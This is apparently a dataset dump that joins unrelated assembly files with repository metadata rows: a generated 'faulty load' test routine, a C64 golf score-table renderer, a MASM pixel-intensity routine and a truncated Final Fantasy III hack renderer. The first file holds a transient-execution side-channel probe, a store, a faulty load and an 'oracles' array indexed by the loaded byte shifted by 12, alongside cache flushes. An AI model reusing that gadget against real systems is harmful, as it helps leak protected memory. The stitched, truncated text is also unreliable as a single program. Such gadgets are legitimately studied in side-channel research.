lea addresses_A_ht+0x133a4, %rdi
nop
nop
nop
inc %r9
mov $11, %rcx
rep movsb
nop
nop
nop
nop
nop
add $15826, %rsi
lea addresses_D_ht+0x96d4, %r11
nop
nop
nop
nop
cmp %rcx, %rcx
movups (%r11), %xmm1
vpextrq $0, %xmm1, %r8
nop
nop
nop
and $53068, %rbx
lea addresses_D_ht+0x18ca4, %rdx
nop
xor %rdi, %rdi
vmovups (%rdx), %ymm1
vextracti128 $1, %ymm1, %xmm1
vpextrq $1, %xmm1, %rcx
xor $55492, %rcx
lea addresses_WT_ht+0x1a494, %r15
clflush (%r15)
nop
nop
nop
nop
sub $60135, %rcx
mov $0x6162636465666768, %rsi
movq %rsi, %xmm1
movups %xmm1, (%r15)
nop
nop
and %r9, %r9
lea addresses_normal_ht+0x15f94, %r11
clflush (%r11)
nop
xor $54528, %rsi
mov $0x6162636465666768, %rdi
movq %rdi, %xmm3
movups %xmm3, (%r11)
xor $45611, %rdx
lea addresses_WT_ht+0x842a, %rdi
nop
nop
nop
add %r8, %r8
mov $0x6162636465666768, %rcx
movq %rcx, %xmm7
vmovups %ymm7, (%rdi)
nop
cmp %rcx, %rcx
lea addresses_A_ht+0x1d2ec, %r11
nop
nop
nop
nop
sub $63903, %r8
mov $0x6162636465666768, %r9
movq %r9, (%r11)
nop
nop
nop
sub %rcx, %rcx
lea addresses_normal_ht+0x10c88, %rsi
lea addresses_WC_ht+0x9a2c, %rdi
nop
nop
nop
nop
nop
and %r15, %r15
mov $81, %rcx
rep movsb
nop
nop
sub $12388, %rcx
lea addresses_D_ht+0x2b74, %rbx
nop
nop
nop
nop
nop
cmp $49773, %rdi
mov (%rbx), %r15w
and $16578, %r11
lea addresses_A_ht+0x7ec4, %r11
nop
nop
add $1450, %rdi
movups (%r11), %xmm1
vpextrq $0, %xmm1, %rbx
add %rsi, %rsi
lea addresses_normal_ht+0x11a1a, %rsi
lea addresses_WT_ht+0x1384c, %rdi
clflush (%rsi)
add $43079, %r8
mov $44, %rcx
rep movsq
nop
nop
nop
nop
nop
xor $63002, %rdi
lea addresses_WT_ht+0x1837, %rsi
lea addresses_UC_ht+0x7114, %rdi
nop
nop
nop
nop
nop
sub $12209, %r15
mov $86, %rcx
rep movsb
and $17918, %r15
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %r9
pop %r8
pop %r15
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r14
push %r8
push %r9
push %rcx
push %rdi
// Store
lea addresses_D+0x1f794, %rcx
nop
nop
dec %r12
movl $0x51525354, (%rcx)
nop
nop
nop
sub $38346, %r9
// Faulty Load
lea addresses_D+0x1f794, %r8
cmp %r10, %r10
vmovups (%r8), %ymm0
vextracti128 $1, %ymm0, %xmm0
vpextrq $1, %xmm0, %rcx
lea oracles, %r8
and $0xff, %rcx
shlq $12, %rcx
mov (%r8,%rcx,1), %rcx
pop %rdi
pop %rcx
pop %r9
pop %r8
pop %r14
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 16, 'AVXalign': False, 'NT': True, 'congruent': 9, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 2, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}}
{'36': 21}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
| 21.240664
| 152
| 0.653253
|
56fe4d15c0be87aba712d8539040d9368f865c01
| 17,904
|
asm
|
Assembly
|
src/play/score_table_mp.asm
|
1888games/golf
|
5078fc0699e5f91a53761cc30526b510d49e955c
|
[
"BSD-2-Clause"
] | 1
|
2022-02-13T16:09:18.000Z
|
2022-02-13T16:09:18.000Z
|
src/play/score_table_mp.asm
|
1888games/golf
|
5078fc0699e5f91a53761cc30526b510d49e955c
|
[
"BSD-2-Clause"
] | null | null | null |
src/play/score_table_mp.asm
|
1888games/golf
|
5078fc0699e5f91a53761cc30526b510d49e955c
|
[
"BSD-2-Clause"
] | null | null | null |
; Top-hole Golf
; Copyright 2020-2021 Matthew Clarke
!to "sctblmp.o",cbm
!source "play_labels.asm"
!source "../core/mymacros.asm"
; Start to assemble this at beginning of quads variables block.
; Doesn't matter if this moves because we've got its latest address in the
; file 'play_labels.asm'.
*= quads_n
sctblmp_c_BEGIN = *
; NOTE: put this subroutine at the very top of the file so other modules
; (specifically, 'play') know where it is!
!zone {
sc_s_init
; Clear lines 1,2 and 3 of the bitmap.
ldx #0
lda #0
-
sta gfxs_c_BITMAP_BASE+320,x
sta gfxs_c_BITMAP_BASE+320+240,x
sta gfxs_c_BITMAP_BASE+320+480,x
sta gfxs_c_BITMAP_BASE+320+720,x
inx
cpx #240
bne -
jsr sc_s_prepare_colors
jsr sc_s_draw_match_play
; Lock fire button on joystick 2.
ldx #joy_c_PORT2
+joy_m_lock_fire
rts
; end sub sc_s_init
} ; !zone
; *****************
; *** CONSTANTS ***
; *****************
; 18 addresses for each player.
sc_l_CELL_ADDR_LO
!for k,2 {
!for m,18 {
!byte <gfxs_c_BITMAP_BASE+(2*320)+((k-1)*5*320)+(((m-1)/9)*2*320)+(4*8)+(((m-1)%9)*3*8)
} ; !for m
} ; !for k
sc_l_CELL_ADDR_HI
!for k,2 {
!for m,18 {
!byte >gfxs_c_BITMAP_BASE+(2*320)+((k-1)*5*320)+(((m-1)/9)*2*320)+(4*8)+(((m-1)%9)*3*8)
} ; !for l
} ; !for k
sc_l_CELL_TOTALS_ADDR_LO
!for k,2 {
!byte <gfxs_c_BITMAP_BASE+((2+(5*(k-1)))*320)+(33*8)
!byte <gfxs_c_BITMAP_BASE+((4+(5*(k-1)))*320)+(33*8)
} ; !for k
sc_l_CELL_TOTALS_ADDR_HI
!for k,2 {
!byte >gfxs_c_BITMAP_BASE+((2+(5*(k-1)))*320)+(33*8)
!byte >gfxs_c_BITMAP_BASE+((4+(5*(k-1)))*320)+(33*8)
} ; !for k
sc_l_BOX_CR_ADDR_LO
!byte <COLOR_RAM+(2*40)+4
!byte <COLOR_RAM+(7*40)+4
; !byte <COLOR_RAM+(12*40)+4
; !byte <COLOR_RAM+(17*40)+4
sc_l_BOX_CR_ADDR_HI
!byte >COLOR_RAM+(2*40)+4
!byte >COLOR_RAM+(7*40)+4
; !byte >COLOR_RAM+(12*40)+4
; !byte >COLOR_RAM+(17*40)+4
sc_l_BOX_SR_ADDR_LO
!byte <gfxs_c_DISPLAY_BASE+(2*40)+4
!byte <gfxs_c_DISPLAY_BASE+(7*40)+4
; !byte <gfxs_c_DISPLAY_BASE+(12*40)+4
; !byte <gfxs_c_DISPLAY_BASE+(17*40)+4
sc_l_BOX_SR_ADDR_HI
!byte >gfxs_c_DISPLAY_BASE+(2*40)+4
!byte >gfxs_c_DISPLAY_BASE+(7*40)+4
; !byte >gfxs_c_DISPLAY_BASE+(12*40)+4
; !byte >gfxs_c_DISPLAY_BASE+(17*40)+4
sc_l_SCORES_OFFSETS !byte 0,18
sc_l_BOX_COLORS !byte CYAN,LIGHT_BLUE
sc_c_BOX_WIDTH2 = 27
sc_c_BOX_HEIGHT = 4
sc_l_NAME_ROW_CHARS !byte 1,6
sc_c_NAME_COL_CHARS = 4
; *****************
; *** VARIABLES ***
; *****************
; NOTE: 6 chars, i.e. 6*8=48 bytes!
sc_v_digits_buffer !fill 8*8,0
; NOTE: this box is open-ended on the rhs.
sc_v_2x3_box
!byte $aa,$bf,$bf,$bf,$bf,$bf,$bf,$bf
!byte $aa,$ff,$ff,$ff,$ff,$ff,$ff,$ff
!byte $aa,$ff,$ff,$ff,$ff,$ff,$ff,$ff
!byte $bf,$bf,$bf,$bf,$bf,$bf,$bf,$aa
!byte $ff,$ff,$ff,$ff,$ff,$ff,$ff,$aa
!byte $ff,$ff,$ff,$ff,$ff,$ff,$ff,$aa
; For your convenience: boolean to record whether this is hole 9 or 18.
; Used by draw routines.
sc_v_is_rightmost_cell !byte 0
; *******************
; ****** MACROS *****
; *******************
; *******************
; *** SUBROUTINES ***
; *******************
!zone {
.TEAM_ITER = TREES_LO
.SLOT_COLOR = TREES_HI
.NUM_TEAMS = 2
sc_s_prepare_colors
ldx #0
.loop_top
stx .TEAM_ITER
; Color RAM address into MATHS2-3; display RAM into MATHS4-5.
lda sc_l_BOX_CR_ADDR_LO,x
sta MATHS2
lda sc_l_BOX_CR_ADDR_HI,x
sta MATHS3
lda sc_l_BOX_SR_ADDR_LO,x
sta MATHS4
lda sc_l_BOX_SR_ADDR_HI,x
sta MATHS5
lda sc_l_BOX_COLORS,x
sta .SLOT_COLOR
; 4 rows, each 27 chars in width.
; Use X to count rows.
ldx #sc_c_BOX_HEIGHT
.row_loop
ldy #0
-
lda #GREY1
sta (MATHS4),y
lda .SLOT_COLOR
sta (MATHS2),y
.skip
iny
cpy #sc_c_BOX_WIDTH2
beq .skip
cpy #sc_c_BOX_WIDTH2+1
beq .skip
cpy #33
bne -
; End of row.
dex
beq .next_team
; More rows to go, so add 40 to both pointers.
lda MATHS2
clc
adc #40
sta MATHS2
lda MATHS3
adc #0
sta MATHS3
lda MATHS4
clc
adc #40
sta MATHS4
lda MATHS5
adc #0
sta MATHS5
jmp .row_loop
.next_team
ldx .TEAM_ITER
inx
cpx #.NUM_TEAMS
bne .loop_top
rts
; end sub sc_s_prepare_colors
} ; !zone
; **************************************************
!zone {
sc_s_clear_digits_buffer
ldx #((8*8)-1)
lda #$ff
-
sta sc_v_digits_buffer,x
dex
bpl -
rts
; end sub sc_s_clear_digits_buffer
} ; !zone
; **************************************************
; INPUTS: MATHS2-3 = destination of top-left byte.
!zone {
sc_s_write_buffer_to_bitmap
lda MATHS2
clc
adc #<320
sta MATHS4
lda MATHS3
adc #>320
sta MATHS5
ldy #0
-
lda sc_v_2x3_box,y
sta (MATHS2),y
lda sc_v_2x3_box+(3*8),y
sta (MATHS4),y
iny
cpy #(3*8)
bne -
rts
; end sub sc_s_write_buffer_to_bitmap
} ; !zone
; **************************************************
!zone {
.SLOT_ITER = TREES_LO
.HOLE_ITER = TREES_HI
.HOLE_END = BITMAP_LO
.SCORES_ON = BITMAP_HI
; NOTE: .HOLE_COUNT counts from 0 to 17, regardless of the player #.
.HOLE_COUNT = EDGES_LO
.CURRENT_TEAM = EDGES_HI
.CELL_COUNT = VM_LO
.TOTAL_CELL_COUNT = VM_HI
.order !fill 2
sc_s_draw_match_play
; Establish order. Use 0,1 as default.
ldx #0
stx .order
inx
stx .order+1
lda sc_v_round_scores
cmp sc_v_round_scores+1
+bge_s +
inc .order
dec .order+1
+
lda #1
sta .SCORES_ON
lda #0
sta .HOLE_COUNT
sta .CELL_COUNT
sta .TOTAL_CELL_COUNT
ldx #0
.team_loop
stx .SLOT_ITER
lda .order,x
sta .CURRENT_TEAM
tax
lda sc_l_SCORES_OFFSETS,x
sta .HOLE_ITER
clc
adc round_v_current_hole
sta .HOLE_END
ldx .HOLE_ITER
.hole_loop
stx .HOLE_ITER
lda #0
sta sc_v_is_rightmost_cell
; .HOLE_COUNT keeps track of hole, whether or not we have a score for
; it yet...
lda .HOLE_COUNT
cmp #8
beq +
cmp #17
bne ++
+
inc sc_v_is_rightmost_cell
++
jsr sc_s_clear_digits_buffer
; If playing only front or back 9, we will 'ghost out' any slots that won't
; be used...
lda shared_v_holes
beq .valid_slot
cmp #shared_c_PLAYING_FRONT_9
bne .playing_back_9
; So we're playing the front 9 only. Any slots after #8 are invalid.
lda .HOLE_COUNT
cmp #9
bcc .valid_slot
bcs .must_ghost
.playing_back_9
; Any slots before #9 are invalid.
lda .HOLE_COUNT
cmp #9
bcs .valid_slot
.must_ghost
jsr sc_s_ghost_digits_buffer
jmp .draw_border
.valid_slot
lda .SCORES_ON
+branch_if_false .draw_border
; Get score for current hole.
; It will be either 0, 1 or 1/2. If 1/2, C flag will be set after
; shifting right. If 0 or 1, correct digit will be in accumulator
; after that shift right as well.
ldx .HOLE_ITER
lda sc_v_team_scores,x
lsr
bcs .one_half
; So 0 or 1.
clc
adc #font_c_ASCII_0
tax
+skip_2_bytes
.one_half
ldx #font_c_ONE_HALF
jsr sc_s_write_char_to_buffer2
.draw_border
jsr sc_s_draw_cell_border2
; Buffer is now ready to be drawn to the bitmap screen.
ldx .CELL_COUNT
lda sc_l_CELL_ADDR_LO,x
sta MATHS2
lda sc_l_CELL_ADDR_HI,x
sta MATHS3
jsr sc_s_write_buffer_to_bitmap
; Check next hole.
inc .CELL_COUNT
inc .HOLE_COUNT
ldx .HOLE_COUNT
cpx #18
beq .running_totals
; .HOLE_ITER must be incremented no matter what. Turn '.SCORES_ON' off
; (i.e. set it to 0) when .HOLE_ITER is equal to .HOLE_END (because there
; are no more scores to draw after this point, but we still need to draw
; the empty cells).
ldx .HOLE_ITER
inx
stx .HOLE_ITER
cpx .HOLE_END
bne +
dec .SCORES_ON
; TODO: clear out any contents of sc_v_2x3_box at this point!
jsr sc_s_clear_box_contents
+
jmp .hole_loop
.running_totals
ldy .CURRENT_TEAM
lda .SLOT_ITER
sta P0
jsr sc_s_draw_totals_match_play
ldx .TOTAL_CELL_COUNT
inx
inx
stx .TOTAL_CELL_COUNT
ldx .CURRENT_TEAM
ldy .SLOT_ITER
lda sc_l_NAME_ROW_CHARS,y
sta P0
lda #sc_c_NAME_COL_CHARS
sta P1
jsr sc_s_draw_name_and_score
ldx .SLOT_ITER
inx
cpx #2 ;shared_v_num_players
beq .end
; RESET THESE FOR NEXT PLAYER!!!
ldy #1
sty .SCORES_ON
dey
sty .HOLE_COUNT
jmp .team_loop
.end
rts
; end sub sc_s_draw_match_play
} ; !zone
; **************************************************
; INPUTS: Y = current team, P0 = slot #
!zone {
.ascii_buffer !fill 3
.CURRENT_TEAM = COLORS_LO
.CHAR_ITER = COLORS_HI
.ONE_PAST_END = LINE_X0_LO
.NUM_CHARS = LINE_Y0_LO
; NOTE: these are offsets into sc_v_digits_buffer.
.UPPER_OFFSETS !byte 28,20,12
.LOWER_OFFSETS !byte 56,48,40
.UPPER = LINE_X1_LO
.LOWER = LINE_Y1_LO
; Front 9 or back 9?
.HALF_ITER = WS_X_LO
; Offset for 'sc_v_front9_scores'.
.SRC_OFFSET = WS_X_HI
.SLOT = WS_Z_LO
sc_s_draw_totals_match_play
sty .CURRENT_TEAM
lda #0
sta .HALF_ITER
lda P0
sta .SLOT
.loop_outer
sty .SRC_OFFSET
; How many chars make up the total score? Will be in the range [1,3].
ldx #0
lda sc_v_front9_scores,y
lsr
bcc +
; So the total score includes '1/2'.
pha
lda #font_c_ONE_HALF
sta .ascii_buffer
inx
pla
+
stx .CHAR_ITER
; Get decimal digits for whatever's in the accumulator.
cmp #0
bne +
; If score is 1/2, we'll ignore this zero. Otherwise, that's the team's
; score!
ldy .CHAR_ITER
bne .have_ascii
+
sta P0
lda #0
sta P1
jsr utils_s_16bit_hex_to_dec
; X holds number of digits - will be in range [1,2].
stx .ONE_PAST_END
ldx #0
ldy .CHAR_ITER
-
lda utils_v_dec_digits,x
clc
adc #font_c_ASCII_0
sta .ascii_buffer,y
iny
inx
cpx .ONE_PAST_END
bne -
.have_ascii
sty .NUM_CHARS
jsr sc_s_clear_digits_buffer
; Make sure we're actually playing this half of the course!
lda shared_v_holes
beq .valid
cmp #shared_c_PLAYING_FRONT_9
beq .front_9_only
; So back 9 only...
lda .HALF_ITER
bne .valid
beq .must_ghost
.front_9_only
lda .HALF_ITER
beq .valid
.must_ghost
jsr sc_s_ghost_digits_buffer2
jmp .draw_border
.valid
; If back 9 total but our current hole is <=10, just draw an empty box
; and be done. NOTE: 'round_v_current_hole' starts counting from 0.
lda .HALF_ITER
beq +
lda round_v_current_hole
cmp #10
; bcs +
bcc .draw_border
+
; We have upto three 'ascii' codes in .ascii_buffer.
; Now need to look up the font data for them and write into the digits
; buffer.
ldx #0
.loop_top
stx .CHAR_ITER
; Source address into MATHS0-MATHS1.
lda .ascii_buffer,x
tay
lda font_l_CHAR_DATA_LO,y
sta MATHS0
lda font_l_CHAR_DATA_HI,y
sta MATHS1
; Record upper and lower destination offsets (into sc_v_digits_buffer).
lda .LOWER_OFFSETS,x
sta .LOWER
lda .UPPER_OFFSETS,x
sta .UPPER
; And upper offset straight into X.
tax
; Copy char data into the buffer.
; Upper half.
ldy #0
-
lda (MATHS0),y
sta sc_v_digits_buffer,x
inx
iny
cpy #4
bne -
; Lower half.
ldx .CHAR_ITER
lda .LOWER_OFFSETS,x
tax
-
lda (MATHS0),y
sta sc_v_digits_buffer,x
inx
iny
cpy #8
bne -
; Any more chars to go?
ldx .CHAR_ITER
inx
cpx .NUM_CHARS
bne .loop_top
; X holds value for '.NUM_CHARS'.
jsr sc_s_shift_buffer
.draw_border
jsr sc_s_draw_totals_border
; Offset into destination addresses (into X). Two bytes apart; add 1 to
; get destination for 'back 9'.
lda .SLOT
asl
clc
adc .HALF_ITER
tax
lda sc_l_CELL_TOTALS_ADDR_LO,x
sta MATHS2
lda sc_l_CELL_TOTALS_ADDR_HI,x
sta MATHS3
jsr sc_s_write_buffer_to_bitmap2
; If this was front 9, we still have the back 9 to do!
ldx .HALF_ITER
inx
cpx #2
beq .end
stx .HALF_ITER
; NOTE: running totals for front and back 9 are 4 bytes apart!
lda .SRC_OFFSET
clc
adc #4
tay
jmp .loop_outer
.end
rts
; end sub sc_s_draw_totals_match_play
} ; !zone
; **************************************************
; INPUTS: X = num chars (in range [1,3])
!zone {
; NOTE: these are actually 'double' shifts!
.NUM_SHIFTS !byte 0,6,4,2
sc_s_shift_buffer
lda .NUM_SHIFTS,x
tay
; Keep decrementing Y until it reaches zero.
.loop_outer
ldx #0
.loop_inner
asl sc_v_digits_buffer+28,x
rol sc_v_digits_buffer+20,x
rol sc_v_digits_buffer+12,x
rol sc_v_digits_buffer+4,x
asl sc_v_digits_buffer+28,x
rol sc_v_digits_buffer+20,x
rol sc_v_digits_buffer+12,x
rol sc_v_digits_buffer+4,x
asl sc_v_digits_buffer+56,x
rol sc_v_digits_buffer+48,x
rol sc_v_digits_buffer+40,x
rol sc_v_digits_buffer+32,x
asl sc_v_digits_buffer+56,x
rol sc_v_digits_buffer+48,x
rol sc_v_digits_buffer+40,x
rol sc_v_digits_buffer+32,x
; Repair the background color for bit pair 'pushed in' at right.
lda sc_v_digits_buffer+28,x
ora #%00000011
sta sc_v_digits_buffer+28,x
lda sc_v_digits_buffer+56,x
ora #%00000011
sta sc_v_digits_buffer+56,x
inx
cpx #4
bne .loop_inner
dey
bne .loop_outer
rts
; end sub sc_s_shift_buffer
} ; !zone
; **************************************************
; INPUTS: MATHS2-3 = destination of top-left byte.
!zone {
sc_s_write_buffer_to_bitmap2
lda MATHS2
clc
adc #<320
sta MATHS4
lda MATHS3
adc #>320
sta MATHS5
ldy #0
-
lda sc_v_digits_buffer,y
sta (MATHS2),y
lda sc_v_digits_buffer+(4*8),y
sta (MATHS4),y
iny
cpy #(4*8)
bne -
rts
; end sub sc_s_write_buffer_to_bitmap2
} ; !zone
; **************************************************
!zone {
sc_s_draw_totals_border
lda #$aa
sta sc_v_digits_buffer
sta sc_v_digits_buffer+8
sta sc_v_digits_buffer+16
sta sc_v_digits_buffer+24
sta sc_v_digits_buffer+(4*8)+7
sta sc_v_digits_buffer+(5*8)+7
sta sc_v_digits_buffer+(6*8)+7
sta sc_v_digits_buffer+(7*8)+7
ldx #6
-
lda sc_v_digits_buffer+1,x
and #$3f
ora #$80
sta sc_v_digits_buffer+1,x
lda sc_v_digits_buffer+(4*8),x
and #$3f
ora #$80
sta sc_v_digits_buffer+(4*8),x
lda sc_v_digits_buffer+(3*8)+1,x
and #$fc
ora #$02
sta sc_v_digits_buffer+(3*8)+1,x
lda sc_v_digits_buffer+(7*8),x
and #$fc
ora #$02
sta sc_v_digits_buffer+(7*8),x
dex
bpl -
rts
; end sub sc_s_draw_totals_border
} ; !zone
; **************************************************
; INPUTS: X = ascii code
!zone {
sc_s_write_char_to_buffer2
; Address of char data into MATHS2-MATHS3.
lda font_l_CHAR_DATA_LO,x
sta MATHS2
lda font_l_CHAR_DATA_HI,x
sta MATHS3
; Now copy to buffer.
ldy #0
; Upper half.
ldx #12
-
lda (MATHS2),y
sta sc_v_2x3_box,x
inx
iny
cpy #4
bne -
; Lower half.
ldx #32
-
lda (MATHS2),y
sta sc_v_2x3_box,x
inx
iny
cpy #8
bne -
rts
; end sub sc_s_write_char_to_buffer2
} ; !zone
; **************************************************
!zone {
sc_s_clear_box_contents
lda #$ff
sta sc_v_2x3_box+12
sta sc_v_2x3_box+13
sta sc_v_2x3_box+14
sta sc_v_2x3_box+15
sta sc_v_2x3_box+32
sta sc_v_2x3_box+33
sta sc_v_2x3_box+34
sta sc_v_2x3_box+35
rts
; end sub sc_s_clear_box_contents
} ; !zone
; **************************************************
!zone {
sc_s_draw_cell_border2
; NOTE: $ff is the 'open' pattern; $fe 'closed'.
lda #$ff
ldx sc_v_is_rightmost_cell
beq +
lda #$fe
+
ldx #1
-
sta sc_v_2x3_box+(2*8),x
inx
cpx #8
bne -
ldx #0
-
sta sc_v_2x3_box+(5*8),x
inx
cpx #7
bne -
rts
; end sub sc_s_draw_cell_border2
} ; !zone
; **************************************************
!zone {
sc_s_ghost_digits_buffer
lda #$bb
sta sc_v_2x3_box+12
sta sc_v_2x3_box+13
sta sc_v_2x3_box+14
sta sc_v_2x3_box+33
sta sc_v_2x3_box+34
sta sc_v_2x3_box+35
lda #$ef
sta sc_v_2x3_box+15
sta sc_v_2x3_box+32
rts
; end sub sc_s_ghost_digits_buffer
} ; !zone
; **************************************************
!zone {
sc_s_ghost_digits_buffer2
; lda #$bb
; sta sc_v_digits_buffer+20
; sta sc_v_digits_buffer+21
; sta sc_v_digits_buffer+22
; sta sc_v_digits_buffer+49
; sta sc_v_digits_buffer+50
; sta sc_v_digits_buffer+51
; lda #$ef
; sta sc_v_digits_buffer+23
; sta sc_v_digits_buffer+48
lda #$fb
sta sc_v_digits_buffer+12
sta sc_v_digits_buffer+13
sta sc_v_digits_buffer+14
sta sc_v_digits_buffer+41
sta sc_v_digits_buffer+42
sta sc_v_digits_buffer+43
lda #$fe
sta sc_v_digits_buffer+15
sta sc_v_digits_buffer+40
lda #$bf
sta sc_v_digits_buffer+20
sta sc_v_digits_buffer+21
sta sc_v_digits_buffer+22
sta sc_v_digits_buffer+49
sta sc_v_digits_buffer+50
sta sc_v_digits_buffer+51
rts
; end sub sc_s_ghost_digits_buffer2
} ; !zone
; **************************************************
; **************************************************
; **************************************************
; **************************************************
; **************************************************
; **************************************************
sctblmp_c_SIZE = *-sctblmp_c_BEGIN
| 20.438356
| 95
| 0.604837
|
0d81377ab2744146f2a9c92c113a1fecebccb898
| 1,149
|
asm
|
Assembly
|
Ficha 5 - Programacao mista C++ & Assembly/2b.asm
|
FEUP-MIEIC/MPCP
|
63c9eed1a48c704a2034e04824e91fbc79538b3e
|
[
"MIT"
] | null | null | null |
Ficha 5 - Programacao mista C++ & Assembly/2b.asm
|
FEUP-MIEIC/MPCP
|
63c9eed1a48c704a2034e04824e91fbc79538b3e
|
[
"MIT"
] | null | null | null |
Ficha 5 - Programacao mista C++ & Assembly/2b.asm
|
FEUP-MIEIC/MPCP
|
63c9eed1a48c704a2034e04824e91fbc79538b3e
|
[
"MIT"
] | null | null | null |
;; Funcao 2 em linguagem assembly
;; Valor de retorno: nenhum
.686
.model flat, C
.code
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Colocar a preto o pixel mais intenso de cada linha
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
afunc3 PROC USES edi ebx esi pixels: ptr byte, largura: dword, altura: dword
; loop que percorre as linhas
mov ecx, altura
mov edi, pixels
ciclo:
push ecx
mov ecx, largura
xor ebx, ebx ; registo que preserva o valor do pixel mais intenso
mov esi, edi ; registo que preserva o endereço do pixel mais intenso
@@:
; loop que percorre todos os pixels de uma linha
xor eax, eax
xor edx, edx
mov dl, byte ptr [edi]
add eax, edx
mov dl, byte ptr [edi+1]
add eax, edx
mov dl, byte ptr [edi+2]
add eax, edx
mov dl, 3
div dl
cmp eax, ebx
jng nextIt
mov ebx, eax
mov esi, edi
nextIt:
; atualizar endereço
add edi, 4
loop @B
; mudar cor do pixel mais intenso para vermelho
mov dword ptr [esi], 00FF0000h
pop ecx
loop ciclo
ret
afunc3 ENDP
END
| 22.529412
| 77
| 0.560487
|
0a4353061c651941a0765e2f1fcd4c7be2962702
| 21,473
|
asm
|
Assembly
|
work/ff3_field_render_x.asm
|
ypyp-pprn-mnmn/ff3_hack
|
f6b8590de1bd47ff617e56e2813c25305846c002
|
[
"MIT"
] | 4
|
2018-03-29T15:33:26.000Z
|
2022-03-09T13:35:31.000Z
|
work/ff3_field_render_x.asm
|
take-the-bath/ff3_hack
|
f6b8590de1bd47ff617e56e2813c25305846c002
|
[
"MIT"
] | 45
|
2017-11-17T23:46:35.000Z
|
2021-09-27T11:35:47.000Z
|
work/ff3_field_render_x.asm
|
take-the-bath/ff3_hack
|
f6b8590de1bd47ff617e56e2813c25305846c002
|
[
"MIT"
] | null | null | null |
; encoding: utf-8
; ff3_field_render_x.asm
;
; description:
; implementation of optimzied renderer code
;
;==================================================================================================
.ifdef _FEATURE_DEFERRED_RENDERING
.ifndef _FEATURE_STOMACH_AMOUNT_1BYTE
;; it is needed to move and free up the buffer at $7300-$73ff,
;; in order for the logics implemented in this file to work correctly.
;; these logics rely on that buffer being stable across rendering.
.fail
.endif
;.ifndef field.window.ppu.FREE_BEGIN
.ifndef menu.erase.FREE_BEGIN
.fail
.endif
;RESTORE_PC field.window.ppu.FREE_BEGIN
RESTORE_PC menu.erase.FREE_BEGIN
render_x.RENDERER_BEGIN:
;--------------------------------------------------------------------------------------------------
;;
;; the nmi handler for deferred rendering.
;; other functions called within this function,
;; must preserve all variables in order to keep consistency
;; across NMIs.
;; if not, those functions not specially designed to variable volatility,
;; will see undefined value and will eventually crash.
;;
render_x.deferred_renderer:
;; preserve general-purpose registers.
pha
txa
pha
tya
pha
;; dummy read to ensure unset nmi flag.
lda $2002
;; preserve spaces utilized by local variables, if any.
;; (as of 0.8.2, no local variables needed & utilized)
;; do rendering.
ldx #0
jsr render_x.render_deferred_contents
jsr render_x.remove_nmi_handler
;; finish rendering with ppu.
;; as calling sound driver need change of program bank,
;; we can't safely call the driver from within nmi handler,
;; unless under the situation which is known
;; that the program bank has a particular deterministic value.
;inc <field.frame_counter
;jsr field_x.end_ppu_update ;sync_ppu_scroll+call_sound_driver
jsr field.sync_ppu_scroll
;; there is no reliable way (found so far) to preserve program bank.
;; so here can't safely restore banks.
.ifdef _FEATURE_MEMOIZE_BANK_SWITCH
lda <sys_x.last_bank.2nd
pha
lda <sys_x.last_bank.1st
pha
jsr field.call_sound_driver
pla
jsr thunk.switch_1st_bank
pla
jsr thunk.switch_2nd_bank
.endif ;;_FEATURE_MEMOIZE_BANK_SWITCH
;; restore local variables, if any (as of 0.8.2, no local variables needed & utilized)
pla
tay
pla
tax
pla
rti
;--------------------------------------------------------------------------------------------------
;; in:
;; X = source buffer offset.
;; notes:
;; the buffer contains variable-length structure the below:
;; +00 vram high
;; +01 vram low
;; +02 buffer length
;; +03 buffer offset, adjusted to loop boundary
render_x.render_deferred_contents:
